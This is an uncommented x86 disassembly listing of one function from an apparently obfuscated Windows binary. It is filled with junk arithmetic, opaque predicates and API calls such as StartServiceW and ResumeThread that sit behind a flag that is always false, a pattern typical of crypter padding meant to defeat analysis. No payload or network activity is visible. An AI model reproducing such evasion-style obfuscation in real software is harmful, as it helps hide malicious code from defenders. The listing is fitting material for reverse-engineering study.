mov dword [ebp - 0x2c], 7
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp dword [esi + 0xc], 0x7106
setne al
test eax, eax
jle 0x463ee5
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x30]
inc edx
add edx, ecx
xor ecx, ecx
imul edx, dword [ebp - 0x24]
imul edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x64]
cmp edx, eax
setle cl
mov dword [ebp - 0x2c], ecx
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffe8
jne 0x463eba
lea ecx, [ebp - 0xc8]
call fcn.004014ce
xor eax, eax
mov dword [ebp - 0x1c], 0x1928c176
mov dword [ebp - 0x1c], eax
jmp 0x463f75
cmp dword [ebp - 0x1c], eax
je 0x463f5f
mov dword [ebp - 0xc], eax
mov dword [ebp - 0xc], 6
jmp 0x463f57
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x463f54
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xb
jne 0x463f42
jmp 0x463f6f
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x463f6f
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
inc dword [ebp - 0x1c]
push 0
pop eax
cmp dword [ebp - 0x1c], ebx
jge 0x463f31
push edi
lea ecx, [ebp - 0xbc]
call fcn.004013fc
mov dword [ebp - 0x20], 0xfffffffe
mov dword [ebp - 0x10], 0xfffffff7
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0xc], 0
jmp 0x463fb7
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xbc]
mov dword [eax + ecx*4], 0x7bc75286
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edi
jl 0x463fa4
mov edx, dword [ebp - 0xbc]
mov ecx, dword [edx]
test ecx, ecx
je 0x463fd4
mov eax, ecx
neg eax
cmp eax, ecx
jle 0x463fd4
mov eax, edi
jmp 0x463fd6
xor eax, eax
mov dword [ebp - 0x20], ecx
xor ecx, ecx
cmp eax, dword [edx]
push 3
setg cl
xor eax, eax
cmp ecx, dword [edx]
setg al
xor edx, edx
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xbc]
add ecx, 0x8067
cmp dword [eax], ecx
mov eax, dword [ebp - 0x10]
sete dl
xor ecx, ecx
cmp ecx, eax
sbb eax, eax
inc eax
cmp edx, eax
jge 0x4640da
lea ecx, [ebp - 0x15c]
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x464039
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x15c]
mov dword [ecx + edx*4], 0x8b9ba5e0
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jl 0x464026
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x46404f
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
xor eax, eax
imul ecx, dword [ebp - 0x1c], 0x3c1d
test ecx, ecx
je 0x4640bf
mov dword [ebp - 0x24], 4
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x1c], 0xfffffff6
jmp 0x4640b7
cmp dword [ebp - 0x24], eax
jne 0x4640a4
mov dword [ebp - 0x24], 0xb969b42c
xor edx, edx
mov esi, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x15c]
mov dword [ecx + 4], esi
mov ecx, dword [ebp - 0x24]
cmp ecx, esi
setg dl
xor ecx, ecx
cmp edx, 0x4cb4
mov edx, eax
setle cl
cmp ecx, 0x12c005d9
jle 0x4640a6
mov edx, edi
xor ecx, ecx
cmp edx, 0x78c9dffb
sete cl
mov dword [ebp - 0x28], ecx
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffed
jne 0x46406d
jmp 0x4640cf
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x4640cf
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea ecx, [ebp - 0x15c]
jmp 0x46417a
lea ecx, [ebp - 0xd4]
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0x24], 0x9097d93c
mov dword [ebp - 0xc], eax
jmp 0x464106
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx + edx*4], 0x4ce10b49
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jl 0x4640f3
mov ecx, dword [ebp - 0xbc]
cmp dword [ecx], eax
jne 0x46414b
mov ecx, dword [ebp - 0xd4]
xor edx, edx
cmp dword [ecx + 4], 0xa25a
setl dl
xor ebx, ebx
mov dword [ebp - 0x24], edx
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xbc]
cmp edx, dword [ecx]
mov ecx, dword [ebp - 0xd4]
setg bl
cmp dword [ecx], ebx
jge 0x464152
cmp dword [ebp - 0x24], eax
je 0x464152
mov eax, edi
imul ecx, eax, 0xf89c
mov eax, dword [ebp - 0xd4]
sub ecx, 0x628a
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [eax + 8]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0xd4]
call fcn.004014ce
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0xbc]
mov dword [ebp - 0x20], eax
call fcn.004014ce
mov dword [ebp - 0x2c], 0x2972
lea ecx, [ebp - 0xe0]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 0xe6aa1654
mov dword [ebp - 0x1c], 0xf0ebf903
mov dword [ebp - 8], edi
mov dword [ebp - 0x30], 0xcaa5d732
push edi
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x4641dc
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xe0]
mov dword [ecx + edx*4], 7
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edi
jl 0x4641c9
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], eax
je 0x464204
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x20], ecx
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x18]
xor ebx, ebx
mov ecx, dword [ebp - 0x18]
cmp edx, ecx
setne bl
xor edx, edx
imul ebx, dword [ebp - 8]
mov dword [ebp - 0x30], ebx
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x18]
test ecx, ecx
setg dl
add edx, dword [ebp - 8]
mov dword [ebp - 8], edx
xor edx, edx
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x1c1ec2db
setne dl
xor ecx, ecx
test edx, edx
setns cl
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], eax
jmp 0x4642b6
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0x10], 0xc1979116
cmp dword [ecx], eax
je 0x46428a
mov ecx, dword [ebp - 0x10]
xor edx, edx
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xe0]
cmp edx, dword [ecx]
mov ecx, dword [ebp - 0x10]
sbb edx, edx
xor ebx, ebx
inc edx
cmp edx, ecx
mov ecx, dword [ebp - 0x20]
setne bl
xor edx, edx
cmp ebx, ecx
setg dl
cmp dword [ebp - 0x10], edx
mov edx, edi
jg 0x46428c
mov edx, eax
xor ecx, ecx
cmp edx, 0x1ffd
sete cl
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], eax
jmp 0x4642ae
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xe0]
mov dword [ecx + edx*4], eax
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x46429f
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff2
jle 0x464248
lea ecx, [ebp - 0xe0]
call fcn.004014ce
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x20], 0x76820624
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x28], 0x279c4185
mov dword [ebp - 0x20], edi
jmp 0x46431c
mov dword [ebp - 0x1c], 0x71d976ff
mov dword [ebp - 0x1c], 0xf
cmp dword [ebp - 0x1c], 0xffffffe8
jge 0x464319
xor eax, eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x464310
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
xor eax, eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe8
jl 0x4642fa
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 7
jne 0x4642e4
inc dword [ebp - 0x30]
xor eax, eax
mov dword [ebp - 0x1c], 0xfffffff6
mov dword [ebp - 0x28], 8
mov dword [ebp - 0x28], edi
mov dword [ebp - 8], eax
jmp 0x46434e
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x248], 0x34504cd4
inc dword [ebp - 8]
cmp dword [ebp - 8], 4
jl 0x46433d
mov dword [ebp - 8], eax
jmp 0x46436a
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x144], 0xa473eb90
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x464359
mov ecx, dword [ebp - 0x240]
mov dword [ebp - 0x144], ecx
mov ecx, dword [ebp - 0x144]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x38], 0xcf041577
mov dword [ebp - 8], 0xfffffffb
mov dword [ebp - 0x14], 0x23a266d2
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x18], eax
jmp 0x4643b4
mov ecx, dword [ebp - 0x18]
mov dword [ebp + ecx*4 - 0x4c], 0x80ce5fa5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x4643a6
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 8]
je 0x4643c8
mov esi, eax
cmp dword [ebp - 0x14], eax
je 0x4643ca
mov esi, edi
mov edx, dword [ebp - 8]
xor ebx, ebx
mov ecx, dword [ebp - 8]
cmp edx, ecx
mov ecx, dword [ebp - 0x14]
setne bl
cmp ebx, 4
sbb edx, edx
sub esi, ecx
imul esi, dword [ebp - 0x14]
lea ecx, [edx - 0x1084]
add ecx, esi
je 0x464530
mov dword [ebp - 0x24], 0xf1912530
push 3
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], eax
pop ebx
jmp 0x464412
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0xa4], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x464405
cmp dword [ebp - 0x24], eax
jne 0x46443f
mov ecx, dword [ebp - 8]
mov esi, eax
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x18]
cmp dword [ebp - 0x24], 0xb05e
jg 0x464441
mov esi, edi
mov ecx, dword [ebp - 0x18]
xor edx, edx
cmp esi, ecx
push 2
setge dl
mov dword [ebp - 8], edx
mov dword [ebp - 0x14], eax
pop esi
jmp 0x464522
mov dword [ebp - 0x30], 0x798564db
lea ecx, [ebp - 0x150]
push ebx
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x464482
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x150]
mov dword [ecx + edx*4], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x464473
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], eax
jl 0x464514
mov esi, dword [ebp - 0x150]
mov dword [ebp - 0x10], eax
xor ebx, ebx
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x30]
cmp edx, ecx
mov ecx, dword [ebp - 0x14]
setl bl
xor edx, edx
cmp ecx, ebx
setle dl
xor ebx, ebx
mov dword [ebp - 0x10], edx
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp + ecx*4 - 0xa4]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp + ecx*4 - 0xa4]
mov edx, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x30]
cmp edx, ecx
setl bl
mov dword [esi + 8], ebx
mov dword [ebp - 8], ebx
cmp dword [esi + 8], eax
jne 0x46450e
dec dword [ebp - 0x18]
jns 0x464499
push 3
pop ebx
push 2
pop esi
lea ecx, [ebp - 0x150]
call fcn.004014ce
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x464459
jmp 0x4645c6
mov dword [ebp - 0x24], 0x7787
mov dword [ebp - 0x30], 0x759721cb
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x464552
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffed
jl 0x4645c3
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
sub ecx, 0x1a33
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
neg esi
sbb esi, esi
xor edx, edx
neg esi
cmp esi, ecx
sete dl
mov dword [ebp - 0x4c], edx
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x4645be
push 0xb99
push 0xe5e
push 0x1b4f
push 0xf2e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Ellipse]
xor eax, eax
dec dword [ebp - 0x20]
jmp 0x464555
push 2
pop esi
mov byte [ebp - 1], 0
cmp byte [ebp - 1], 0
je 0x4645df
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov dword [ebp - 0x28], 0xef7d2668
lea ecx, [ebp - 0x1bc]
push esi
call fcn.004013fc
mov dword [ebp - 8], 0xde19d29b
lea ecx, [ebp - 0x180]
push 4
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0x20], 0xc72b752b
push 3
mov dword [ebp - 0x14], eax
pop ebx
jmp 0x464624
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0x88], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x464617
mov dword [ebp - 0x14], eax
jmp 0x46463b
mov ecx, dword [ebp - 0x14]
mov dword [ebp + ecx*4 - 0x168], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x46462e
mov dword [ebp - 0x14], eax
jmp 0x464658
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x180]
mov dword [ecx + edx*4], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x464645
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x464679
push 0xdc0
push 0x2044
push eax
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
xor eax, eax
mov dword [ebp - 8], esi
cmp dword [ebp - 8], eax
jl 0x464793
mov edi, dword [ebp - 0x180]
mov dword [ebp - 0x28], edi
xor edx, edx
inc edx
mov dword [ebp - 0x30], edx
mov ecx, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x160]
mov ecx, dword [ebp - 8]
cmp dword [ebp + ecx*4 - 0x88], eax
je 0x4646c4
cmp dword [edi + 0xc], eax
je 0x4646c4
mov esi, edx
cmp dword [ebp - 0x168], eax
jne 0x4646c6
mov esi, eax
mov dword [ebp - 0x30], 0x7ccc8959
xor ebx, ebx
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + ecx*4 - 0x88]
mov ecx, dword [ebp - 0x30]
sub ecx, esi
cmp ecx, edx
mov ecx, dword [ebp - 8]
setle bl
xor edx, edx
mov ecx, dword [ebp + ecx*4 - 0x88]
cmp ebx, ecx
mov ecx, dword [ebp - 8]
setg dl
xor ebx, ebx
cmp edx, ecx
mov ecx, dword [ebp - 8]
setle bl
xor edx, edx
sub ebx, 6
imul ebx, dword [edi + 0xc]
mov esi, dword [ebp + ecx*4 - 0x88]
mov ecx, dword [ebp - 8]
mov edi, dword [edi + 0xc]
cmp ebx, ecx
setge dl
xor ebx, ebx
cmp esi, edx
setle bl
xor ecx, ecx
cmp ebx, edi
setge cl
cmp ecx, edi
jle 0x464739
mov ecx, dword [ebp - 0x80]
push 2
mov dword [ebp - 0x20], ecx
pop esi
jmp 0x464777
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x46474b
push eax
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
xor eax, eax
push 2
mov dword [ebp - 0x20], eax
pop esi
jmp 0x464772
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x46476f
push 0x1611
push 0x2641
push eax
call dword [sym.imp.USER32.dll_InflateRect]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jle 0x464753
mov ecx, dword [ebp - 8]
mov edi, dword [ebp - 0x28]
mov ecx, dword [ebp + ecx*4 - 0x88]
dec dword [ebp - 8]
jns 0x46468e
xor edi, edi
push 3
inc edi
pop ebx
lea ecx, [ebp - 0x180]
call fcn.004014ce
mov dword [ebp - 0x18], 0x34fda0e6
lea ecx, [ebp - 0x198]
mov dword [ebp - 0x30], 0
push esi
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10], eax
jmp 0x4647d5
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x198]
mov dword [ecx + edx*4], 0x836b16b4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x4647c2
cmp dword [ebp - 0x18], 0xca4f
jl 0x464819
mov dword [ebp - 0x10], eax
jmp 0x4647f9
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0x230], 7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x4647e8
mov dword [ebp - 0x18], eax
jmp 0x464812
mov ecx, dword [ebp - 0x18]
cmp dword [ebp + ecx*4 - 0x230], eax
jne 0x46482e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x464803
jmp 0x46482e
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x46482e
push eax
push 0x1228
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov dword [ebp - 0x30], eax
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x198]
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x18]
cmp edx, eax
sete cl
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x198]
call fcn.004014ce
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x464872
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1bc]
mov dword [ecx + edx*4], 6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x46485f
mov dword [ebp - 0x20], 0x26bdde0b
mov dword [ebp - 0x18], 0xb8fa48a2
mov dword [ebp - 0x14], 0xfffd
mov dword [ebp - 0x24], 0x31eaa473
mov dword [ebp - 0x10], eax
jmp 0x4648a6
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0x70], 0x7a329ef
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x464898
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffef
jge 0x4649b7
mov dword [ebp - 0x30], 0x6318d581
lea ecx, [ebp - 0x11c]
mov dword [ebp - 0x3c], 0x1720348f
mov dword [ebp - 0x28], 0xfffffff9
mov dword [ebp - 0x28], 0x8e10e5e5
mov dword [ebp - 0x28], 0xbc248910
push esi
call fcn.004013fc
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x10], eax
jmp 0x464900
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x11c]
mov dword [ecx + edx*4], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x4648f1
cmp dword [ebp - 0x30], eax
jne 0x4649aa
dec dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
neg ecx
cmp ecx, 0x992db756
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x11c]
sbb esi, esi
neg esi
imul esi, ecx
xor ecx, ecx
cmp esi, dword [edx + 4]
mov dword [ebp - 0x70], esi
setge cl
mov dword [edx + 4], ecx
mov ecx, dword [ebp - 0x70]
mov esi, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x20]
neg esi
sbb esi, esi
xor edx, edx
inc esi
cmp esi, ecx
setle dl
mov dword [ebp - 0x28], edx
xor edx, edx
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0xfffffff7
setle dl
imul ecx, edx, 0x8642
test ecx, ecx
jne 0x46496c
cmp dword [ebp - 0x48], eax
je 0x464978
cmp dword [ebp - 0x70], eax
je 0x464978
mov edx, edi
cmp dword [ebp - 0x30], eax
jne 0x46497a
mov edx, eax
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
setl cl
lea eax, [ecx - 0x55d48264]
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x11c]
call fcn.004014ce
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffef
push 2
pop esi
jl 0x4648b8
lea ecx, [ebp - 0x11c]
call fcn.004014ce
xor eax, eax
mov ecx, dword [ebp - 0x24]
xor edx, edx
add ecx, dword [ebp - 0x68]
imul ecx, ecx, 0xa716
push 0xfffffffffffffff8
cmp ecx, 0xe9140de1
mov ecx, dword [ebp - 0x6c]
setne dl
xor ebx, ebx
test edx, edx
setle bl
cmp edi, ecx
mov ecx, dword [ebp - 0x14]
mov edi, dword [sym.imp.GDI32.dll_RectInRegion]
sbb esi, esi
inc esi
xor edx, edx
imul esi, ebx
cmp ecx, esi
pop esi
setge dl
imul ecx, edx, 0x4b1f
test ecx, ecx
je 0x464aea
mov dword [ebp - 0x38], 0x4961
xor ebx, ebx
mov dword [ebp - 0x28], 0xcbfc796d
inc ebx
mov dword [ebp - 0x3c], 5
mov dword [ebp - 0x18], esi
jmp 0x464ade
mov dword [ebp - 8], 6
mov dword [ebp - 0x10], 0x316a37a5
mov dword [ebp - 0x30], 0x8b7cb4d6
cmp dword [ebp - 0x24], eax
jne 0x464ad6
mov ecx, dword [ebp - 8]
xor edx, edx
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
cmp ecx, 0xffffffff
setg dl
xor ebx, ebx
mov dword [ebp - 0x10], edx
mov ecx, dword [ebp - 8]
add ecx, 0x45bd2804
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x70]
cmp edx, ecx
mov ecx, dword [ebp - 0x30]
setg bl
xor edx, edx
cmp ebx, ecx
mov ecx, dword [ebp - 0x28]
setge dl
xor ebx, ebx
cmp edx, 0x2819
setge bl
xor edx, edx
cmp ebx, ecx
setg dl
sub edx, dword [ebp - 0x3c]
add edx, dword [ebp - 0x6c]
mov ecx, dword [ebp - 8]
cmp edx, 0xc51c80f8
sbb edx, edx
neg edx
add ecx, edx
je 0x464ab4
mov ecx, dword [ebp - 0x10]
cmp dword [ebp - 0x30], eax
jne 0x464ac5
cmp dword [ebp - 0x38], eax
jne 0x464ac5
xor ebx, ebx
inc ebx
mov ecx, ebx
imul ecx, ecx, 0xffd6
test ecx, ecx
mov ecx, eax
je 0x464ad8
mov ecx, ebx
mov dword [ebp - 0x70], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 9
jg 0x464a21
jmp 0x464afa
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x464af7
push eax
push eax
call edi
xor ebx, ebx
inc ebx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x2c]
add eax, 0xfff7
jne 0x464b0d
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
mov eax, dword [ebp - 0xc]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, 0x8ecb302a
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setne dl
xor eax, eax
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x1c], eax
jmp 0x464ed3
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x38], 8
mov dword [ebp - 0x14], 0xfffffffb
jmp 0x464c0f
cmp dword [ebp - 0x14], 0xffffffe7
je 0x464b7b
cmp dword [ebp - 0x1c], ebx
jle 0x464b65
lea ecx, [ebp - 0x1bc]
call fcn.004014ce
push dword [ebp - 0xe4]
movdqa xmm0, xmmword [str._t_t_t_t]
lea ecx, [ebp - 0x1e4]
push ecx
xor eax, eax
mov dword [ebp - 0x28], 0x5bb2
lea ecx, [ebp - 0x1f4]
mov dword [ebp - 0x28], 0x2fe22364
push ecx
mov dword [ebp - 0x28], 0x89351f20
lea ecx, [ebp - 0x134]
mov dword [ebp - 0x28], 0x417be18
push eax
movdqu xmmword [ebp - 0x1f4], xmm0
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], eax
call fcn.0040191b
mov dword [ebp - 0x28], 0xc842f88d
mov dword [ebp - 0x10], 0
jmp 0x464f64
cmp dword [ebp - 0x10], 2
jl 0x464f57
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret